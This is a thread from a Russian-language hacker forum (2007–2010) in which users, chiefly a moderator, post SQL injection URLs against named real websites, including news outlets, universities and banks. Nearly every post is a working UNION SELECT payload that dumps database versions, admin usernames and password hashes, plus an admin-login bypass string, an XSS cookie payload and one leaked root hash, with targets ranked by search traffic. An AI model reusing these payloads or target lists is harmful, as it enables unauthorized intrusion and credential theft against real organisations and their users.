1. Пост двух одинаковых тем в разных разделах - бан.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

  1. z00MAN
    z00MAN Новичок
    Симпатии:
    8
    Код:
    http://www.pro-xenon.ru/xenon.php?id=-55+union+select+1,2,concat_ws(0x3a,user(),version(),database())--
    [email protected]:5.0.51a-3ubuntu5-log:pro-xenon


    Код:
    http://www.mirvokrug.info/crimea/pano.php?id=-55+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4--
    [email protected]:5.0.67-percona-highperf-b7-log:chernish_hotel3d
     
    11 сен 2009
  2. z00MAN
    z00MAN Новичок
    Симпатии:
    8
    Код:
    http://www.slsensor.com/stat.php?id=99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),7,8--
    [email protected]:5.0.32-Debian_7etch8-log:usr_web48_1


    Код:
    http://www.chayka.org/article.php?id=999+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11--
    [email protected]:5.0.51a:seagullmag

    http://anonscs.net76.net
     
    Последнее редактирование: 21 июл 2010
    13 сен 2009
    1 человеку нравится это.
  3. x45x50
    x45x50 Новичок
    Симпатии:
    1
  4. NARKOZ
    NARKOZ Новичок
    Симпатии:
    2
    Caйт посвященный дню специалиста по безопасности:
    Код:
    www.securityday.ru/news.cfm?nid=-12+UNION%20ALL%20SELECT%20newsid%20%20FROM%20forum_mes
    Причем, не blind SQL injection.

    Админов проинформировал неделю назад, но до сих пор ничего не сделано, видимо ждут 12 ноября
     
    29 окт 2009
  5. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.michaelpollan.com/article.php?id=-97+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10--
    
    5.0.81-community:[email protected]:pollan_articles 
     
    23 ноя 2009
  6. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.stv.lv/modules.php?op=modload&name=News&file=article&sid=3170+and+0+union+select+1,concat_ws(0x3a,pn_uname,pn_email,pn_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users+limit+1,1/*
    
    http://www.stv.lv/modules.php?op=modload&name=News&file=article&sid=3170+and+0+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+stvphorum_auth+limit+0,1/*
    Добавлено через 21 минуту
    Код:
    http://newkurkino.ru/modules.php?op=modload&name=News&file=article&sid=64+and+0+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21+from+nuke_users--
     
    Последнее редактирование: 27 ноя 2009
    27 ноя 2009
  7. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://ru-board.com/new/article.php?sid=108+and+mid(bin(ascii(lower(mid((select+column_name+from+information_schema.columns+where+table_name=0×6E756B655F7573657273+limit+4,1),1,1)))),7,1)=char(48)–
    лень нальше ковырять))

    Добавлено через 11 часов 44 минуты
    Код:
    http://www.gommed.ru/shop/items.php?id=590'+union+select+1,2,versio(),4,5,6,7,8,9,10,11,12/*
    Добавлено через 13 часов 43 минуты
    Код:
    http://botox.axilla.ru/parts.php?id=35'+union+select+1,2,3,4,version(),6,7,8,9,10,11/*
    Добавлено через 13 часов 49 минут
    Код:
    http://www.hyperhidrosis.ru/parts.php?id=55'+union+select+1,2,3,4,version(),6,7,8,9,10,11/*
    Добавлено через 14 часов 21 минуту
    Код:
    http://www.biznes-nikopol.com.ua/index.php?option=com_neorecruit&task=offer_view&id=11+and+0+union+select+1,2,3,4,5,concat_ws(0x3a,username,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*&Itemid=228
    
    http://www.biznes-nikopol.com.ua/administrator/
     
    Последнее редактирование: 8 дек 2009
    7 дек 2009
  8. serb
    serb Новичок
    Симпатии:
    0
    средний датинг
    Код:
    http://us-en.abctribe.com/usweb/Pagamenti/PagamentiDettaglio.asp?ProdottoID=59 and 1=2 UNION SELECT top 1 1,2,3,table_name,4,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_name not in ('')+--
    таблицы
    ни намека не админку :(


    Hookman, _http://milw0rm.com/exploits/4305
     
    Последнее редактирование: 8 дек 2009
    8 дек 2009
  9. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.sovadmin.gomel.by/news.php?id=1529+and+0+union+select+1,version(),3,4,5,6,7,8,9--
    pr 5 тиц 20

    Добавлено через 14 минут
    Код:
    http://www.fc-anji.ru/news.php?id=660+and+0+union+select+1,version(),3,4,5,6--
    pr 4 тиц 140

    Добавлено через 44 минуты
    Код:
    http://www.city.vbg.ru/index.php?id=1395+and+0+union+select+1,2,concat_ws(0x3a,email,password),4,5,6,7,8+from+users+limit+1,1--
    тиц 110
     
    Последнее редактирование: 9 дек 2009
    9 дек 2009
  10. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.rdg.org/index.php?view=news_items&id=-100%27+union+select+1,2,version%28%29,4,5,6,7,8,9/*
    Код:
    http://www.play.simongames.co.uk/component/fabble/?view=person&id=-62+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+limit+2,1--
     
    Последнее редактирование: 19 май 2010
    19 май 2010
    1 человеку нравится это.
  11. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://faculty.ru/show.php?id_a=82&page=2+and+1--
    http://faculty.ru/show.php?id_a=82&page=2+and+0--
    pr:3 тиц:50
     
    4 июн 2010
    3 пользователям это понравилось.
  12. xeran
    xeran Продвинутый
    Симпатии:
    31
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 11 or greater.**
     
    12 июн 2010
  13. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 200 or greater.**
    Найдите админку))))))
     
    Последнее редактирование: 21 июн 2010
    21 июн 2010
  14. visa
    visa Новичок
    Симпатии:
    1
    Код:
    http://www.free-website-template.net/templates-preview.php?t=-300109866+/*!union*/+select+1,2,3,4,5,6,version(),8,9--+&aff=598003
    http://www.templatebozz.com/p/-481+union+select+1,2,user(),4,5,6,version(),8,9,10,11,12,13
    http://sesweb.ses.pdx.edu/ceed_cat/[email protected]@version
    
     
    3 июл 2010
  15. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 100 or greater.**
    PR:4 ТИЦ:250

    Добавлено через 35 минут
    Код:
    http://www.varvara-music.ru/music.html?id=5+and+0+union+select+1,2,3,4,5,version(),7,8,9,10,11,12--
    
    http://www.varvara-music.ru/music.html?id=5+and+0+union+select+1,2,3,4,5,concat_ws(0x3a,username,password,email,icq,aim,yahoo,msn,skype,adminoptions),7,8,9,10,11,12+from+u22869_2.user--
    
    /*
    u22869_2 passhistory
    u22869   forum : id,email,author,password
    u22869_2 user: username,password,email,icq,aim,yahoo,msn,skype,adminoptions
    */
    Добавлено через 23 часа 23 минуты
    Код:
    http://www.supernaturale.com/categories.html?id=23'+union+select+1,version(),1,1,1,1/*
    pr6
    
     
    Последнее редактирование: 13 июл 2010
    12 июл 2010
  16. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.mfpl.ac.at/index.php?cid=58+and+0--
    http://www.mfpl.ac.at/index.php?cid=58+and+1--
    pr7
    
    Добавлено через 18 минут
    Код:
    http://www.supernaturale.com/admin
    в поля логина и пароля вводим ' or '1'='1
    Добавлено через 32 минуты
    Код:
    http://www.iq-pack.com.ua/18.php?cid=7+and+0+union+select+1,concat_ws(0x3a,user,pdw),3+from+users+limit+0,1--
    root:4b5b6200cc8a7ba5724eadf25e490d8b
    
    Добавлено через 18 часов 24 минуты
    Код:
    http://americanambassadors.org/index.cfm?fuseaction=Events.view&eventid=25+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+members%00
    
     
    Последнее редактирование: 14 июл 2010
    13 июл 2010
    1 человеку нравится это.
  17. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.vesti-moscow.ru/rnews.html?id=88878+order+by+12--&cid=15   ok
    http://www.vesti-moscow.ru/rnews.html?id=88878+order+by+13--&cid=15   redirect
    
    Добавлено через 26 минут
    Код:
    http://www.spaceref.com/tools/imgcathp.html?cid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
    тиц 210
    Добавлено через 5 часов 56 минут
    Код:
    http://www.avtodiagnostika.ru/modules/articles/article.php?id=39+union+select+1,2,3,4,concat_ws(0x3a,login,passwd,id),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+u218699.users+limit+1,1--
    
    Добавлено через 22 часа 42 минуты
    Код:
    http://www.fulbright.org.ua/page.php?pid=-35+and+0+union+select+concat_ws(0x3a,name,pass)+from+auth+limit+0,1--&lang=1
    тиц 180
    
    
    http://www.fulbright.org.ua/page.php?pid=-35+and+0+union+select+%3Cscript%3Ealert(document.cookie)%3C/script%3E--&lang=1
     
    Последнее редактирование: 16 июл 2010
    15 июл 2010
    1 человеку нравится это.
  18. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    swedbank.ua


    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 300 or greater.**
    Добавлено через 4 часа 14 минут
    Код:
    http://www.azaniabank.co.tz/images_list.php?gal_id=19+and+1&owner=
    http://www.azaniabank.co.tz/images_list.php?gal_id=19+and+0&owner=
     
    Последнее редактирование: 28 июл 2010
    27 июл 2010
    1 человеку нравится это.
  19. mg-el
    mg-el Продвинутый
    Симпатии:
    41
    Hidden Content:
    **Hidden Content: To see this hidden content your post count must be 40 or greater.**
    //мне влом позапросами ковырять) если будет свободное время можно будет тузлой какой-нить...
     
    Последнее редактирование модератором: 28 июл 2010
    28 июл 2010
  20. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.devbank.com/customercare.php?subcat=-37+union+select+version()/*&title=Correspondent%20Banks]
     
    28 июл 2010

Поделиться этой страницей

Загрузка...